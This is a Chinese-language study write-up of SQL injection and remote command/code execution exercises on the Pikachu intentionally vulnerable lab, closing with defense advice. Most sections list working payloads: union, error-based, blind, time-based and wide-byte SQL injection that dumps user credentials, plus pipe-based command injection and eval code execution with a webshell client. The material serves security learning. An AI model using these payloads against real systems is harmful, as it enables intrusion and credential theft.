Pikachu靶场SQL-Inject和RCE学习分享
字数 1210 2025-08-24 20:49:31
SQL注入与RCE漏洞全面解析
1. SQL注入概述
SQL注入是OWASP Top 10排名第一的漏洞类型,危害极大,可能导致数据库泄露、数据删除甚至服务器沦陷。
形成原因
- 前端传入后台的数据未经严格过滤
- 传入数据被直接拼接到SQL语句中执行
防御策略
- 对传入SQL语句的变量进行危险字符过滤
- 使用参数化查询(Parameterized Query/Statement)
- 谨慎使用ORM框架的"拼接"方式
2. SQL注入类型及利用方法
2.1 数字型注入(POST)
- 判断注入点:
id=1'报错 - 判断字段数:
id=1 order by 2成功,order by 3失败 - 获取信息:
id=1 union select user(),database() id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' id=1 union select group_concat(username),group_concat(password) from users
2.2 字符型注入(GET)
- 判断注入点:
name='报错 - 闭合方式:
' or 1=1-- q - 获取信息方式与数字型类似,需注意闭合单引号
2.3 搜索型注入
- 判断字段数:
' order by 3成功,order by 4失败 - 有三个回显点,其余利用方式与字符型类似
2.4 XX型注入
- 闭合方式:
')-- q - 其余利用方式与字符型类似
2.5 Insert/Update注入
- 使用报错注入:
username=' or updatexml(1,concat(0x7e,(select user())),1),1) -- q username=' or updatexml(1,concat(0x7e,(select database())),1),1) -- q - 分段显示技巧:
username=' or updatexml(1,concat(0x7e,right((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),22)),1)or'
2.6 Delete注入
- 无需闭合单引号:
/vul/sqli/sqli_del.php?id=59%20or%20updatexml(1,concat(0x7e,(select%20database())),1)
2.7 HTTP Header注入
- 注入点在User-Agent或Accept头:
' or updatexml(1,concat(0x7e,(select database())),1)or'
2.8 布尔盲注
- 判断数据库长度:
lucy' and length(database())>6-- q - 逐字符判断:
lucy' and (substr(database(),1,1))='p'-- q
2.9 时间盲注
- 使用sleep函数判断:
kobe' and sleep(if((length(database())=7),0,3))-- q kobe' and if(substr(database(),1,1)='p',0,sleep(3))-- q
2.10 宽字节注入
- 利用GBK编码特性:
kobe%df' union select group_concat(username),group_concat(password) from users -- q
3. RCE漏洞概述
RCE(远程命令/代码执行)漏洞允许攻击者直接向服务器注入操作系统命令或代码,从而控制系统。
3.1 远程系统命令执行
- 常见于需要提供远程命令操作的接口(如路由器、防火墙管理界面)
- 自动化运维平台常存在此类漏洞
3.2 远程代码执行
- 用户输入被作为代码的一部分执行
- 可能通过代码执行函数或不安全的反序列化实现
4. RCE漏洞利用实例
4.1 exec ping
- 使用管道符执行命令:
x.x.x.x | whoami x.x.x.x | ls - 后台代码类似:
shell_exec('ping -C 4'.$ip)
4.2 exec eval
- 直接执行PHP代码:
phpinfo(); - 利用蚁剑连接:
- 修改请求头的submit参数
- 通过POST参数
txt执行代码
5. 防御建议
SQL注入防御
- 使用预编译语句(Prepared Statements)
- 对输入进行严格过滤和转义
- 最小权限原则,数据库账户仅授予必要权限
- 使用Web应用防火墙(WAF)
RCE防御
- 避免直接执行用户输入
- 使用白名单限制可执行命令
- 禁用危险函数(如eval、system等)
- 对用户输入进行严格过滤和验证
6. 总结
SQL注入和RCE都是危害极大的漏洞类型,开发人员应充分了解其原理和利用方式,在开发过程中采取适当的防御措施。安全测试人员应掌握各种注入技术的检测和利用方法,以便全面评估系统安全性。